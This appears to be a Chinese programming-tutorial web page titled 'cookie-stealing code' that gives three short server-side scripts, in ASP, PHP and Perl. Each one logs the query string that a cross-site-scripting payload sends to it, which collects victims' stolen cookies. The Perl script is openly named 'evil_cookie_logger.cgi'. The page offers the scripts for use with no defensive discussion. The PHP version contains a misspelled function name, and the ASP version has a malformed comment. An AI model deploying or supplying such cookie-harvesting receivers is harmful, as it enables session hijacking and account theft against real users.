程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 網頁編程 >> PHP編程 >> 關於PHP編程 >> 盜取cookies的代碼(asp,php,perl)

盜取cookies的代碼(asp,php,perl)

編輯:關於PHP編程

ASP版

<%
dim strfilename
strfilename = "mydata.txt" 數據文件存放目錄
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request.Servervariables("QUERY_STRING")
lP.SaveToFile server.mappath(strfilename),2
lP.Close
set lP=nothing
%>

PHP版
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$info=urldecode($info);
$fp = fopen("info.txt","a");
fwirte($fp,$info." ");
fclose($fp);
}
?>

PERL版
#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.

$borrowed_info = $ENV{QUERY_STRING};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html something went wrong ";
print EVIL_COOKIE_LOG "$borrowed_info ";
print "Content-type: text/html ";
close(EVIL_COOKIE_LOG);

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved